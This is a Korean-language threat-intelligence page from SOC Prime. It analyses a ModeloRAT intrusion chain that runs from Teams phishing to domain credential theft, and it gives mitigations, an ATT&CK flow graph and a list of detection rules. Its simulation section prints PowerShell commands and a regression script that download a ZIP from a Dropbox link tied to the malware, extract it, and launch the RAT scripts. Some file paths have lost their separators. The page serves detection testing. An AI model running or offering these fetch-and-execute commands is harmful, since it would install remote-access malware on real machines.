SOC Prime Bias: 위급

15 May 2026 13:24 UTC

Teams 피싱에서 도메인 침해까지: ModeloRAT 캠페인 해부

Author Photo
SOC Prime Team linkedin icon 팔로우
Teams 피싱에서 도메인 침해까지: ModeloRAT 캠페인 해부
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

Rapid7은 IT 지원으로 가장한 악성 Microsoft Teams 메시지로 시작된 침입을 분석했습니다. 공격자는 Dropbox에 호스팅된 Python 페이로드를 사용해 ModeloRAT을 배포하고, 이를 통해 권한을 상승시켜 CVE-2023-36036을 수행하며, 가짜 잠금 화면을 피해자에게 보여주어 도메인 자격 증명을 탈취했습니다. 이 캠페인은 공격자가 단일 손상된 엔드포인트에서 도메인 전반의 자격 증명 탈취로 얼마나 빠르게 이동할 수 있는지를 보여주었고, 생활형 기술을 활용한 공격을 강조합니다. 이 사건은 협업 플랫폼이 초기 접근 벡터로서 증가하는 위험을 나타냅니다.

조사

조사는 초기 Teams 대화부터 Dropbox에서 ZIP 아카이브를 다운로드한 PowerShell 스테이저까지의 전체 공격 체인을 따라갔으며, 이 아카이브는 휴대용 Python 환경을 해제하고 collector.py and Pmanager.py를 시작했습니다. 이후 ModeloRAT은 여러 명령 제어 서버에 HTTP 비콘을 설정하고, 호스트 정찰을 수행한 후 사용했습니다 rundll32 를 통해 SYSTEM 수준 액세스를 허용하는 커널 익스플로잇을 실행했습니다. 지속성은 예약 작업을 통해 유지되었고, 공격자는 침입 중 추가 백도어 컴포넌트를 배포했습니다.

완화

조직은 Microsoft Teams에서 외부 접근에 대한 엄격한 통제를 적용하고, 비정상적인 PowerShell 및 Python 활동을 모니터링하며, 알려진 악성 Dropbox URL을 차단하고 시스템이 CVE-2023-36036에 대해 패치되었는지 확인해야 합니다. 승인되지 않은 rundll32 사용을 제한하는 애플리케이션 제어 정책은 착취 위험을 줄이는 데 도움이 될 수 있습니다. 보안 팀은 또한 가짜 잠금 화면 행동과 엔드포인트에서의 다른 자격 증명 수집 활동 징후를 감시해야 합니다.

대응

이 활동이 감지되면, 즉시 영향을 받은 엔드포인트를 격리하고, 손상된 사용자의 자격 증명을 철회하며, 영향을 받은 도메인 비밀번호를 재설정합니다. 조사자는 전체 메모리 캡처, 특히 적절한 경우 LSASS 관련 증거를 수집하고, ModeloRAT 아티팩트를 탐색하며, 악성 예약 작업이나 지속성 메커니즘을 제거해야 합니다. 팀 테넌트 설정도 검토되며, 외부 채팅이 운영상 필요하지 않다면 비활성화해야 합니다.

"graph TB %% 클래스 정의 classDef action fill:#ffcccc classDef tool fill:#cce5ff classDef malware fill:#e6ffcc classDef process fill:#ffd9b3 classDef file fill:#f2e6ff %% 행동 노드 action_phishing["<b>행동</b> – <b>T1566.003 피싱: 서비스 통해 스피어피싱</b><br/>악성 링크가 포함된 IT 지원으로 가장한 Microsoft Teams 메시지."] class action_phishing action action_impersonation["<b>행동</b> – <b>T1656 사칭</b><br/>합법적으로 보이는 가짜 IT 지원 계정."] class action_impersonation action action_content_injection["<b>행동</b> – <b>T1659 콘텐츠 주입</b><br/>감염 체인을 시작하는 PowerShell 명령을 포함한 메시지."] class action_content_injection action action_user_execution["<b>행동</b> – <b>T1204 사용자 실행</b><br/>피해자가 링크를 클릭하거나 PowerShell 스테이저를 복사합니다."] class action_user_execution action action_software_discovery["<b>행동</b> – <b>T1518 소프트웨어 발견</b><br/>collector.py가 설치된 소프트웨어, 패치 및 구성을 열거합니다."] class action_software_discovery action action_security_discovery["<b>행동</b> – <b>T1518.001 보안 소프트웨어 발견</b><br/>보안 프로세스(예: SecurityHealthHost.exe)를 확인하는 스크립트."] class action_security_discovery action action_system_info["<b>행동</b> – <b>T1082 시스템 정보 발견</b><br/>systeminfo, whoami 및 기타 명령이 호스트 세부 정보를 수집합니다."] class action_system_info action action_dll_loading["<b>행동</b> – <b>T1176 소프트웨어 확장</b><br/>rundll32.exe가 악성 DLL(ssss.dll, com6848.dll)을 로드합니다."] class action_dll_loading action action_priv_esc["<b>행동</b> – <b>T1068 권한 상승을 위한 착취</b><br/>cldflt.sys의 CVEu20112023u201136036을 착취하여 SYSTEM 토큰을 얻습니다."] class action_priv_esc action action_defense_evasion["<b>행동</b> – <b>T1211 방어 회피를 위한 착취</b><br/>커널 익스플로잇이 보안 통제를 우회합니다."] class action_defense_evasion action action_persistence_active_setup["<b>행동</b> – <b>T1547.014 액티브 설정 지속성</b><br/>SyncRootManager의 레지스트리 키가 악성 클라우드 동기화 공급자를 등록합니다."] class action_persistence_active_setup action action_event_triggered["<b>행동</b> – <b>T1546 이벤트 트리거 실행</b><br/>동기화 공급자가 이벤트 트리거 지속성 메커니즘으로 작동합니다."] class action_event_triggered action action_scheduled_task["<b>행동</b> – <b>T1053 예약 작업</b><br/>일일 작업 TempLogA가 내부.py를 SYSTEM 권한으로 실행합니다."] class action_scheduled_task action action_path_interception["<b>행동</b> – <b>T1574.007 경로 가로채기</b><br/>휴대용 Python 디렉토리가 실행을 보장하기 위해 PATH 초기 부분에 배치됩니다."] class action_path_interception action action_c2_http["<b>행동</b> – <b>T1071.001 응용 프로토콜: 웹 프로토콜</b><br/>ModeloRAT은 HTTP 포트 80을 통해 C2 서버와 통신합니다."] class action_c2_http action action_nonstandard_port["<b>행동</b> – <b>T1571 비표준 포트</b><br/>추가적인 역방향 셸 채널은 포트 50508과 60503을 사용합니다."] class action_nonstandard_port action action_winrm["<b>행동</b> – <b>T1563 원격 서비스 세션 하이재킹</b><br/>공격자는 도구 배포를 위해 두 번째 호스트에 WinRM 세션을 엽니다."] class action_winrm action action_rdp["<b>행동</b> – <b>T1078.002 유효한 계정: 도메인 계정</b><br/>수확된 자격 증명이 RDP 로그인에 사용됩니다."] class action_rdp action action_kerberoasting["<b>행동</b> – <b>T1558.003 커버로스팅</b><br/>서비스 티켓 요청이 자격 증명 해시를 생성합니다."] class action_kerberoasting action action_os_credential_dump["<b>행동</b> – <b>T1003 OS 자격 증명 덤핑</b><br/>DumpIt.exe가 LSASS를 포함하는 메모리를 캡처합니다."] class action_os_credential_dump action action_unsecured_credentials["<b>행동</b> – <b>T1552.001 보안되지 않은 자격 증명</b><br/>가짜 잠금 스크린 DLL이 캡처된 비밀번호를 디스크에 기록합니다."] class action_unsecured_credentials action action_window_discovery["<b>행동</b> – <b>T1010 응용 프로그램 창 발견</b><br/>잠금 화면 복제본이 입력을 캡처하기 위해 Windows 잠금 화면을 모방합니다."] class action_window_discovery action action_bits_job["<b>행동</b> – <b>T1197 BITS 작업</b><br/>DumpIt이 BITS를 통해 다운로드되고 실행됩니다."] class action_bits_job action %% 도구 / 파일 / 악성코드 노드 tool_powershell["<b>도구</b> – <b>이름</b>: PowerShell<br/><b>설명</b>: 초기 스테이저 명령을 실행합니다."] class tool_powershell tool tool_python["<b>도구</b> – <b>이름</b>: 휴대 가능 파이썬 (pythonw.exe)<br/><b>설명</b>: collector.py와 Pmanager.py를 실행합니다."] class tool_python tool tool_rundll32["<b>도구</b> – <b>이름</b>: rundll32.exe<br/><b>설명</b>: 악성 DLL 페이로드를 로드합니다."] class tool_rundll32 tool tool_dumpit["<b>도구</b> – <b>이름</b>: DumpIt.exe<br/><b>설명</b>: 메모리 획득 유틸리티."] class tool_dumpit tool malware_collector["<b>악성 코드</b> – <b>이름</b>: collector.py<br/><b>설명</b>: 발견을 수행하고 추가 모듈을 시작하는 초기 Python 스크립트."] class malware_collector malware malware_pmanager["<b>악성 코드</b> – <b>이름</b>: Pmanager.py (ModeloRAT)<br/><b>설명</b>: C2와 통신하는 원격 접근 트로이목마."] class malware_pmanager malware file_ssss_dll["<b>파일</b> – <b>이름</b>: ssss.dll<br/><b>설명</b>: 권한 상승을 위해 로드된 악성 DLL."] class file_ssss_dll file file_com6848_dll["<b>파일</b> – <b>이름</b>: com6848.dll<br/><b>설명</b>: 자격 증명 추출을 위해 로드된 악성 DLL."] class file_com6848_dll file file_lockdll["<b>파일</b> – <b>이름</b>: lockscreen.dll<br/><b>설명</b>: 비밀번호를 기록하는 가짜 잠금 화면."] class file_lockdll file %% 연결 – 공격 흐름 action_phishing –>|사용합니다| action_impersonation action_impersonation –>|전달합니다| action_content_injection action_content_injection –>|트리거| action_user_execution action_user_execution –>|실행| tool_powershell tool_powershell –>|시작합니다| tool_python tool_python –>|실행합니다| malware_collector tool_python –>|실행합니다| malware_pmanager malware_collector –>|수행합니다| action_software_discovery malware_collector –>|수행합니다| action_security_discovery malware_collector –>|수행합니다| action_system_info malware_pmanager –>|로드합니다| tool_rundll32 tool_rundll32 –>|로드합니다| file_ssss_dll tool_rundll32 –>|로드합니다| file_com6848_dll file_ssss_dll –>|활성화합니다| action_priv_esc file_com6848_dll –>|활성화합니다| action_priv_esc action_priv_esc –>|제공합니다| action_defense_evasion action_defense_evasion –>|설정합니다| action_persistence_active_setup action_persistence_active_setup –>|생성합니다| action_event_triggered action_event_triggered –>|생성합니다| action_scheduled_task action_scheduled_task –>|의존합니다| action_path_interception action_path_interception –>|의 실행을 보장합니다| malware_pmanager malware_pmanager –>|통신합니다| action_c2_http malware_pmanager –>|사용합니다| action_nonstandard_port malware_pmanager –>|열다| action_winrm action_winrm –>|촉진합니다| action_rdp action_rdp –>|활용합니다| action_kerberoasting action_kerberoasting –>|자격 증명을 제공합니다| action_os_credential_dump action_os_credential_dump –>|실행됩니다| tool_dumpit tool_dumpit –>|제공됩니다| action_bits_job action_bits_job –>|지원합니다| action_os_credential_dump action_unsecured_credentials –>|구현됩니다| file_lockdll file_lockdll –>|캡처합니다| action_window_discovery action_window_discovery –>|쓴다| action_unsecured_credentials %% 스타일링 class action_phishing,action_impersonation,action_content_injection,action_user_execution,action_software_discovery,action_security_discovery,action_system_info,action_dll_loading,action_priv_esc,action_defense_evasion,action_persistence_active_setup,action_event_triggered,action_scheduled_task,action_path_interception,action_c2_http,action_nonstandard_port,action_winrm,action_rdp,action_kerberoasting,action_os_credential_dump,action_unsecured_credentials,action_window_discovery,action_bits_job action class tool_powershell,tool_python,tool_rundll32,tool_dumpit tool class malware_collector,malware_pmanager malware class file_ssss_dll,file_com6848_dll,file_lockdll file "

공격 흐름

탐지

가능한 시스템 열거 (cmdline 사용)

SOC Prime 팀
2026년 5월 14일

가능한 계정 또는 그룹 열거 / 조작 (cmdline 사용)

SOC Prime 팀
2026년 5월 14일

Schtasks가 의심스러운 디렉토리 / 바이너리 / 스크립트를 가리킴 (cmdline 사용)

SOC Prime 팀
2026년 5월 14일

원치 않는 외부 UNC 경로에 의한 가능한 NTLM 자격 증명 유출 (cmdline 사용)

SOC Prime 팀
2026년 5월 14일

PowerShell을 사용하여 의심스러운 디렉토리에 아카이브가 추출됨 (PowerShell 사용)

SOC Prime 팀
2026년 5월 14일

AD 모듈 DirectorySearcher를 사용한 가능한 Active Directory 열거 (PowerShell 사용)

SOC Prime 팀
2026년 5월 14일

검출: IT 지원이 전화할 때: Teams에서 도메인 손상으로 이어지는 ModeloRAT 캠페인 해부를 위한 IOCs (HashSha256)

SOC Prime 인공지능 규칙
2026년 5월 14일

검출: IT 지원이 전화할 때: Teams에서 도메인 손상으로 이어지는 ModeloRAT 캠페인 해부를 위한 IOCs (SourceIP)

SOC Prime 인공지능 규칙
2026년 5월 14일

검출: IT 지원이 전화할 때: Teams에서 도메인 손상으로 이어지는 ModeloRAT 캠페인 해부를 위한 IOCs (DestinationIP)

SOC Prime 인공지능 규칙
2026년 5월 14일

권한 상승 및 자격 증명 수집을 위한 의심스러운 Rundll32 실행 [Windows 프로세스 생성]

SOC Prime 인공지능 규칙
2026년 5월 14일

악성 Python 스크립트의 PowerShell 다운로드 및 실행 [Windows Powershell]

SOC Prime 인공지능 규칙
2026년 5월 14일

시뮬레이션 실행

전제조건: 텔레메트리 및 기준선 사전 비행 점검이 통과되어야 합니다.

이유: 이 섹션은 탐지 규칙을 트리거하는 데에 설계된 적 기법(TTP)의 구체적인 실행을 설명합니다. 명령과 설명은 식별된 TTP를 직접 반영해야 하며, 탐지 논리에 의해 예상되는 정확한 텔레메트리를 생성하는 것을 목표로 합니다.

  • 공격 서술 및 명령:

    1. 초기 드롭: 공격자는 피해자 워크스테이션에 발판을 마련한 후, PowerShell을 실행해 Dropbox에 호스팅된 악성 ZIP 파일을 가져옵니다. URL은 탐지 규칙에 하드코딩되어 있어, 공격자는 검증 목적으로 동일한 문자열을 사용하여 탐지를 보장합니다.
    2. 추출: 내장된 Expand‑Archive cmdlet을 사용해 압축 파일을 사용자의 %APPDATA% 폴더에 직접 해제합니다. 이 위치는 방어자에게 자주 간과됩니다.
    3. 페이로드 실행: 두 개의 Python 스크립트—collector.py and Pmanager.py—은 다음을 통해 실행됩니다 pythonw.exe (“창이 없는” 인터프리터)로 실행되어, 보이지 않는 콘솔 창을 피하며 은밀한 지속성과 데이터 유출을 가능하게 합니다.

    정확한 명령 (규칙과 일치해야 함):

    # 1. ZIP 아카이브 다운로드
    iwr -Uri "https://www.dropbox.com/scl/fi/[REDACTED]/vuzggemyofftzpk6.zip?rlkey=elabnna8r5omwglaq4feay6ui&st=op5i7lea&dl=1" -OutFile "$env:APPDATAWinp.zip"
    
    # 2. 아카이브 추출
    Expand-Archive -Path "$env:APPDATAWinp.zip" -DestinationPath "$env:APPDATA"
    
    # 3. 첫 번째 Python 스크립트 실행
    Start-Process "$env:APPDATAWPy64-31401pythonpythonw.exe" -ArgumentList "$env:APPDATAWPy64-31401pythoncollector.py"
    
    # 4. 두 번째 Python 스크립트 실행
    Start-Process "$env:APPDATAWPy64-31401pythonpythonw.exe" -ArgumentList "$env:APPDATAWPy64-31401pythonPmanager.py"
  • 회귀 테스트 스크립트:

    # -------------------------------------------------
    # 회귀 테스트 – ModeloRAT PowerShell 워크플로우 모방
    # -------------------------------------------------
    $zipUrl = "https://www.dropbox.com/scl/fi/[REDACTED]/vuzggemyofftzpk6.zip?rlkey=elabnna8r5omwglaq4feay6ui&st=op5i7lea&dl=1"
    $zipPath = "$env:APPDATAWinp.zip"
    $extractPath = $env:APPDATA
    $pythonExe = "$env:APPDATAWPy64-31401pythonpythonw.exe"
    $collector = "$env:APPDATAWPy64-31401pythoncollector.py"
    $pmanager = "$env:APPDATAWPy64-31401pythonPmanager.py"
    
    # Download
    Write-Host "[*] 악성 ZIP 다운로드 중..."
    Invoke-WebRequest -Uri $zipUrl -OutFile $zipPath
    
    # Extract
    Write-Host "[*] 아카이브 추출 중..."
    Expand-Archive -Path $zipPath -DestinationPath $extractPath -Force
    
    # Execute collector.py
    Write-Host "[*] collector.py 실행 중..."
    Start-Process -FilePath $pythonExe -ArgumentList $collector
    
    # Execute Pmanager.py
    Write-Host "[*] Pmanager.py 실행 중..."
    Start-Process -FilePath $pythonExe -ArgumentList $pmanager
    
    Write-Host "[+] 시뮬레이션 완료. SIEM에서 경고를 확인하십시오."
  • 정리 명령:

    # -------------------------------------------------
    # 정리 – 테스트로 생성된 아티팩트 제거
    # -------------------------------------------------
    $zipPath = "$env:APPDATAWinp.zip"
    $extractRoot = "$env:APPDATAWPy64-31401"
    $pythonExe = "$env:APPDATAWPy64-31401pythonpythonw.exe"
    
    # 이 테스트로 실행 중인 pythonw 프로세스 중지
    Get-Process -Name pythonw -ErrorAction SilentlyContinue |
        Where-Object {$_.Path -like "*WPy64-31401*"} |
        Stop-Process -Force
    
    # 추출된 디렉토리 제거
    if (Test-Path $extractRoot) {
        Remove-Item -Recurse -Force $extractRoot
    }
    
    # ZIP 파일 제거
    if (Test-Path $zipPath) {
        Remove-Item -Force $zipPath
    }
    
    Write-Host "[+] 정리 완료."